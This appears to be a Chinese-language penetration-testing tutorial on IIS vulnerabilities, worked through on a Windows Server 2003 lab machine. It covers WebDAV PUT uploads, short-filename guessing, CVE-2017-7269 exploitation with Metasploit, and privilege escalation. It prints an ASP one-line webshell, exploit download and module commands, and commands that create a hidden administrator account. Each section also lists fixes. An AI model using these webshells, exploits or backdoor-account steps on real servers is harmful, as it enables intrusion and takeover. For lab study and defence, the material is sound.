IIS简介
IIS是Internet Information Services的缩写,意为互联网信息服务,是由微软公司提供的基于运行Microsoft Windows的互联网基本服务。最初是Windows NT版本的可选包,随后内置在Windows 2000、Windows XP Professional和Windows Server 2003一起发行,但在Windows XP Home版本上并没有IIS。
IIS是一种Web(网页)服务组件,其中包括Web服务器、FTP服务器、NNTP服务器和SMTP服务器,分别用于网页浏览、文件传输、新闻服务和邮件发送等方面,它使得在网络(包括互联网和局域网)上发布信息成了一件很容易的事。
IIS的安全脆弱性曾长时间被业内诟病,一旦IIS出现远程执行漏洞威胁将会非常严重。远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码,可以导致IIS服务器所在机器蓝屏或读取其内存中的机密数据。
IIS 6.0:可解析后缀:.asa .cer .cdx .asp等脚本文件
PUT漏洞
漏洞产生原因
WEB服务器扩展里设置WebDAV为允许;网站权限配置开启了写入权限与脚本资源访问权限。
WebDAV(Web-based Distributed Authoring and Versioning)一种基于HTTP1.1协议的通信协议。它扩展了HTTP 1.1,在GET、POST、HEAD等几个HTTP标准方法以外添加了一些新的方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)及解锁(Unlock),还可以支持文件的版本控制。
漏洞危害
任意文件上传
漏洞复现
实验环境使用windows server2003+iis6.0
环境下载链接:https://pan.baidu.com/s/1KOO7MkwIDpWAqbMMNSddzg 提取码:5sia
开机密码123456
该靶机环境已经配置好了,其中WebDAV已经开启
该靶机ip为192.168.102.62
使用nikto扫描一下该网址
1 | nikto -h http://192.168.102.62 |
该服务器支持PUT请求,并且允许客户端将文件保存在Web服务器上
通过burp进行抓包,将GET请求改为PUT,并且后面接上写入文件的名字,数据包最下面为写入文件的内容
写入成功
写入一句话木马
1 | <%eval request("chopper")%> |
使用MOVE或者COPY请求将其改为asp文件
蚁剑连接即可获得shell
修复方案
关闭WebDAV服务
使用相关的防护设备
短文件名猜解漏洞
漏洞产生原因
为了兼容16位MS-DOS程序,Windows为文件名较长的文件(和文件夹)生成了对应的windows 8.3 短 文件名,而生成的短文件名符合一定的规律,可以被暴力猜解。
漏洞危害
猜解后台地址
猜解敏感文件,例如备份的rar、zip、.bak、.SQL文件等,在某些情形下,甚至可以通过短文件名web直接下 载对应的文件。比如下载备份SQL文件。
漏洞原理
这里需要用到通配符,在windows中,可以匹配n个字符,n可以为0。判断某站点是否存在IIS短文件名暴力破解漏 洞,可以分别访问如下两个URL:
1 | http://localhost/*~1*/a.aspx |
短文件名特征:
只显示前6
位的字符,后续字符用~1
代替。其中数字1
可以递增。如果存在文件名类似的文件,则前面的6
个字符是相同的,后面的数字进行递增
如果访问第一个URL,返回404。而访问第二个URL,返回400。 则目标站点存在漏洞
漏洞复现
复现需要添加组件APS.NET,方法如下:
- 在运行 Windows Server 2003 的服务器中使用”添加或删除程序”安装 ASP.NET
1)从”开始”菜单中,指向”控制面板”,然后单击”添加或删除程序”。2)在"添加或删除程序"对话框中,单击"添加/删除 Windows 组件"。 3)在"Windows 组件"向导中的"组件"中,选中"应用程序服务器"复选框,然后单击"下一步"。 4)当在"Windows 组件"向导中完成对 Windows Server 2003 的配置时,单击"完成"。
配置好之后我们可以使用命令dir /x
来确定漏洞存在。如过存在短文件名,则确定漏洞存在
先在网站根目录下创建几个长文件名
当访问一个存在的文件名时,浏览器返回404
当访问一个不存在的文件名时,浏览器返回400
自动化扫描
1 | import sys |
漏洞修复
升级.net framework
修改注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem
修改NtfsDisable8dot3NameCreation为1。再新建文件夹,将原网站目录内容拷贝进入新建的文件夹,使用 新建的文件夹作为网站目录。
远程命令执行漏洞
产生原因
当IIS6.0 开启了WebDav协议(开启PROPFIND协议)时存在此漏洞,缓冲区溢出导致远程命令执行。
漏洞检测
基于版本,windowsserver2003 R2+iis6.0+开启PROPFIND协议的服务器存在此漏洞。
漏洞危害
可以获取服务器shell
漏洞复现
靶机环境:windows server2003+iis6.0
下载exp: git clone https://github.com/Al1ex/CVE-2017-7269
复制cve-2017-7269.rb到相应的目录下面:
1 | cp cve_2017_7269.rb /usr/share/metasploit-framework/modules/exploits/windows/iis/cve_2017_7269.rb |
msf更新后自带exploit/windows/iis/iis_webdav_scstoragepathfromurl模块,但是试了很久都没有成功
1 | use exploits/windows/iis/cve_2017_7269 |
其中physicalpathlength为网站路径,默认为19,也可通过爆破来得到长度
参考文章:https://xz.aliyun.com/t/6485#toc-9
成功获得shell
漏洞修复
关闭WebDAV服务
使用相应的防护软件
升级操作系统
本地提权漏洞
漏洞描述
IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁。
影响版本
Windows 2003 R2开启WebDAV服务的IIS6.0
漏洞复现
使用上面获得的shell,查看当前用户权限
在根目录创建一个文件夹用来放提权相关文件,之后在meterpreter上传pr.exe
其下载地址 为:https://github.com/klsfct/getshell/blob/master/MS09-012/pr.exe
开始下载错了,卡了很久
在msf里面执行命令会产生乱码,这里将msf权限派生到cobaltstrike
使用msf中的 exploit/windows/local/payload_inject模块
1 | use exploit/windows/local/payload_inject |
上线之后发现可以直接使用ms14-058进行提取
------------------------------------
上传完成后执行pr.exe whoami
即可得到一个system权限
执行net user admin admin /add
创建用户显示拒绝访问
执行pr.exe "net user admin admin /add"
创建成功
之后将新创建的用户添加到管理员组
pr.exe "net localgroup administrators admin /add"
查看Administrator组用户net localgroup Administrators
这个靶机开放了3389端口,可以直接远程桌面连接
如果未开放3389端口,可以上传一个3389.bat即可
漏洞修复
关闭WebDAV服务
使用相应的防护软件
升级操作系统
解析漏洞
IIS 6.x
产生原因:IIS6.0在处理含有特殊符号的文件路径时会出现逻辑错误,从而造成文件解析漏洞;
漏洞利用:
新建一个名为“test.asp”的目录,该目录下的任何文件都作为asp程序执行(特殊符号是”/“)
上传名为“test.asp;.jpg”的文件,虽然该文件真正的后缀名是”.jpg”,但由于含有特殊符号“;”,仍然会被IIS作为 asp程序执行。
产生影响:该解析漏洞可以使得入侵者绕过服务端的检测,进而getshell。
漏洞修复:
做好权限设置,限制用户创建文件夹。
可以通过自己编写正则,阻止上传 xx.asp;.jpg等类型的文件名
安装相应的防护软件
IIS 7.0/7.5
IIS 7.0/7.5:可解析后缀:.asa .cer .cdx .asp等脚本文件
产生原因:由于php配置文件中,默认开启了cgi.fifix_pathinfo=1,PHP CGI会以 / 为分隔符号从后向前依次检查, 直到找到某个存在的文件,便把该文件作为php程序执行。
利用方式:
上传图片木马test.jpg后直接访问*/test.jpg/.php,以php的方式解析执行。
在shell.jpg的文件中写入php代码(当执行该文件的时候自动创建一个shell.php的一句话木马),然后直
接访问*/shell.jpg/.php,以php的方式解析运行,此时shell.php就会被创建。可getshell。
漏洞危害:该解析漏洞可以使得入侵者绕过服务端的检测,进而getshell。
漏洞修复:
关闭cgi.fifix_pathinfo,令cgi.fifix_pathinfo为0;
图片上传目录不给执行权限;
升级php-fpm、nginx;
安装相应的防护软件